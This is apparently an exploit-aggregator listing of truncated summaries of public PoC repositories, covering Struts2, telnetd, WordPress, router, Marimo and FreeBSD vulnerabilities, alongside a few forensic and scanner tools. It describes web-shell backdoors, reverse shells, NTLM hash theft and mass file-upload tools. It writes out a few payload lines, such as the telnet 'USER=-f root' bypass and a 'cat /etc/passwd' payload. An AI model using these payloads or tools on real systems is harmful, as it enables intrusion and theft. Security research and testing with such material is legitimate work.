CVE-2023-50164-PoC

CVE-2023-50164（Apache Struts 路径遍历到 RCE 漏洞）- 概念验证 此 PoC 旨在通过利用 Apache Struts2 漏洞来测试 RCE（远程代码执行）。 构建镜像并运行容器： root@kitploit: $ DOCKERBUILDKIT=1 docker build . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc 运行漏洞利用程序： root@kitploit: $ cd exploit $ ./exploit.sh 现在你可以在服务器端执行任意命令，如下所示...

CVE-2026-32202

免责声明 本工具仅用于授权的红队演练和渗透测试 。 未经明确许可对系统进行未授权使用属违法行为。 使用风险自负。作者对任何滥用或损害不承担任何责任。 描述 通过不完整的 Windows Shell 保护绕过（CVE-2026-32202）实现 NTLMv2 哈希强制获取。生成特制的 LNK 文件，在资源管理器中打开或预览时强制进行 SMB/UNC 身份验证。低交互性，在 2026 年 4 月修复不充分的已修补系统上仍然有效。已在实战中积极使用。 主要特性 通过恶意 LNK（资源管理器预览 + 图标解析路径）实现零点击/最小交互的 Net-NTLMv2 泄露。 自定义 SMB...

wonderplugin

Wonderplugin para RCE ¡NO USES ESTE PLUGIN FALSO EN TU SERVIDOR WEB DE PRODUCCIÓN! Este repositorio está destinado a probar una vulnerabilidad en WonderCMS; este plugin falso contiene una puerta trasera web shell, que puedes encontrar en el archivo evil.php. Artículo relacionado WonderCMS 3.1.3 -...

CVE-2025-32463

CVE-2025-32463 - 设置与执行指南 这是我第一次将恶意漏洞利用移植到 Nuclei 模板中，用于非侵入式漏洞扫描，同时仍能演示底层问题。 我特意将这一过程记录得更加详细，作为一次学习练习。 我遇到的主要挑战是： 如何将原始漏洞利用代码修改为安全版本，使其能够有效测试权限提升，而不会像原始漏洞利用那样获取 root shell。 在使用代码引擎时，我遇到了一些 Nuclei 模板语法问题。我不习惯以这种方式创建模板，因此多次因为需要签署模板并包含 -itags local 参数而受阻，因为本地标签在 .nuclei-ignore 设置中默认被忽略。 我不确定在模板内编译 C...

CVE-2026-24061

CVE-2026-24061 复现步骤 构建镜像 root@kitploit: docker build -t telnetd-bypass . 启动容器 root@kitploit: docker run -it --rm \ --name telnetd-vuln \ --privileged \ -p 23:23 \ telnetd-bypass 发送payload root@kitploit: USER='-f root' telnet -a 127.0.0.1 23 返回 root@kitploit: Trying 127.0.0.1... Connected to...

CVE-2026-24061

CVE-2026-24061 - telnetd 认证绕过 这是什么 telnetd（来自 GNU InetUtils）中的参数注入漏洞。受影响版本为 1.9.3 至 2.7。CVSS 评分为 9.8。自 2026 年 1 月 26 日起被列入 CISA KEV，意味着该漏洞已在野外被积极利用。 整个技巧在于 telnetd 通过 NEW-ENVIRON（RFC 1572）从客户端获取环境变量 USER 的值，并将其未经任何验证直接拼接到 login1 的调用中。如果客户端发送 USER="-f root"，telnetd 将执行： root@kitploit: /usr/bin/log...

CVE-2024-12856

CVE-2024-12856 这是一个针对四信（Four-Faith）路由器型号 F3x24 和 F3x36 的漏洞利用程序，用于获取反向 Shell。 “四信路由器型号 F3x24 和 F3x36 受到操作系统（OS）命令注入漏洞的影响。至少固件版本 2.0 允许经过身份验证的远程攻击者通过 apply.cgi 修改系统时间时，通过 HTTP 执行任意操作系统命令。此外，该固件版本存在默认凭据，如果未更改，实际上会将此漏洞转变为未经身份验证的远程操作系统命令执行问题。” 来源：nist.gov 此脚本基于 VulnCheck 观察到的载荷。 使用方法...

cpanel-forensics

CVE-2026-41940 之后的 cPanel/WHM 取证 用于在 CVE-2026-41940（CVSS 9.8）漏洞之后检查服务器的 Bash 脚本。 攻击者在 64 天内无需密码即可获得 root 访问权限——补丁无法清除已经植入系统内部的内容。 运行 root@kitploit: sudo bash cpanelforensics.sh 报告保存至 /tmp/forensicsreportДАТА.txt 检查内容 所有用户的 SSH authorizedkeys UID 为 0 的用户 通过 ld.so.preload 植入的 Rootkit 别名、PATH、命令替换...

CVE-2026-0740

ninja.py 一个针对 WordPress 站点 Ninja Forms 插件文件上传端点的实验性/工具脚本。它会依次向 list.txt 中的目标发送请求，并将成功的上传写入 shell.txt 文件。 要求 Python 3 requests（通常随 urllib3 一起安装） root@kitploit: pip install requests urllib3 文件结构 文件| 说明 ---|--- ninja.py| 主脚本。 list.txt| 目标 URL；每行一个 URL（http/https，可选端口）。空行将被忽略。 shell.txt|...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd 远程认证绕过 说真的，2026 年还在用 telnet？拜托各位，该换换了。SSH 从 1995 年就有了。 🤦 描述 GNU Inetutils telnetd 存在一个严重的认证绕过漏洞，影响 1.9.3 至 2.7 版本。 该漏洞利用 NEW-ENVIRON telnet 选项向 login1 注入恶意参数。攻击者通过 telnet 协议设置 USER=-f root，即可绕过认证，无需凭据即可获得 root shell。 受影响版本 GNU Inetutils 1.9.3 - 2.7 技术细节 telnet...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool 针对 Exiftool 中 CVE-2021-22204 漏洞的 Python 利用工具。 视频教程 Youtube root@kitploit: 404 未找到 依赖要求 root@kitploit: python3 python3-pip djvulibre-bin exiftool 安装依赖 Debian root@kitploit: apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip Ubuntu root@kitploit:...

CVE-2026-39987_exploit

🔥 CVE-2026-39987 | Marimo 预认证 RCE 漏洞利用 漏洞利用框架 | 完整远程代码执行（RCE） | WebSocket 认证绕过 🧠 了解命令详情 打开文件 website.html 🎯 概述 该漏洞利用针对在端口 2718（默认）上运行 WebSocket 的 Marimo 应用程序。该漏洞允许通过 WebSocket 认证绕过实现未授权命令执行 ，使攻击者获得完整的远程代码执行能力。 属性| 详情 ---|--- CVE ID| CVE-2026-39987 攻击向量| WebSocket 认证绕过 Shell 类型| 交互式 PTY（伪终端） 影响|...

CVE-2026-24061-GNU-Inetutils-telnetd-Remote-Authentication-Bypass-Root-Shell-

🧨 Resumen Este repositorio contiene un exploit de Prueba de Concepto para la vulnerabilidad de omisión de autenticación remota en GNU Inetutils telnetd. El problema surge porque telnetd no sanea adecuadamente la variable de entorno USER recibida a través de la negociación Telnet NEW‑ENVIRON antes...

CVE-2021-45897

CVE-2021-45897 CVE-2021-45897（又名 SCRMBT-180）的 PoC —— SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 使用示例： root@kitploit: .venv ➜ CVE-2021-45897 git:main ✗ ./exploit.py -u user -p --payload "cat /etc/passwd"...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - 用于扫描 OpenCode 未认证 RCE 的 Nuclei 模板。 burp suite 请求 root@kitploit: POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 root@kitploit: POST /session/"id"/shell HTTP/1.1 Host: target.com...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857gerapy命令执行 免责声明 root@kitploit: 脚本仅供学习参考，请勿恶意攻击他人网站， 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 使用方式 root@kitploit: -h, --help show this help message and exit -u url -U 登录用户 -P 登录密码 -r 反弹shellIP -p 反弹端口...

scan-cve-2026-24061

CVE-2026-24061 扫描器 – GNU inetutils telnetd 认证绕过 ⚠️ 非常重要的法律声明 ⚠️ 本工具仅用于教育目的、安全研究、漏洞分析和授权测试 。 任何针对您不拥有或未经书面明确许可的系统的未授权 使用均属犯罪行为 （在巴西：刑法第 154-A 条 + 第 14.155/2021 号法律，以及其他国际法律）。 仅 在您自己的环境、受控实验室或已签署 RoE（交战规则） 的渗透测试/红队活动中使用。 作者不对 任何不当使用、损害、IP 封锁、法律后果或恶意利用承担责任。 关于漏洞（CVE-2026-24061） 官方名称 ：GNU inetutils...

CVE-2026-4747

root@kitploit: / /\ \ / / | | \ / \ \ \ \ | || | || || \ | | \ \ / /| | | | | | | \ \ | | / /| || | | | | \ V / | ||| / /| || / / \ \ | || | / / | |/ / | / | ||/| \ / // |||| CVE-2026-4747 — FreeBSD 远程内核 RCE kgssapi.ko 中的栈缓冲区溢出 → 约 4 小时获取 Root Shell...

CVE-2026-39987

CVE-2026-39987 — Ejecución Remota de Código Pre-Autenticada en Marimo Python Notebook TL;DR Una vulnerabilidad de ejecución remota de código pre-autenticada en Marimo , un notebook Python de código abierto para ciencia de datos e IA/ML. El endpoint WebSocket de terminal /terminal/ws omite por...

CVE-2026-73570

CVE-2026-73570 PoC - SMTP 命令注入测试工具 一个自定义的底层 Python 概念验证（PoC）脚本，用于测试 SMTP 命令注入漏洞（CVE-2026-73570）。 该工具发送包含 shell 风格命令替换（例如 $command）的畸形 RCPT TO 地址，以确定目标邮件服务器或其下游处理管道是否在未经清理的情况下错误地将该地址传递给 shell。 ⚠️ 免责声明： 此工具仅用于教育目的和授权安全测试。请确保您拥有测试目标基础设施的明确权限。未经授权扫描或利用邮件服务器属于违法行为。 漏洞信息（针对 Zimbra） 并非每个 Zimbra...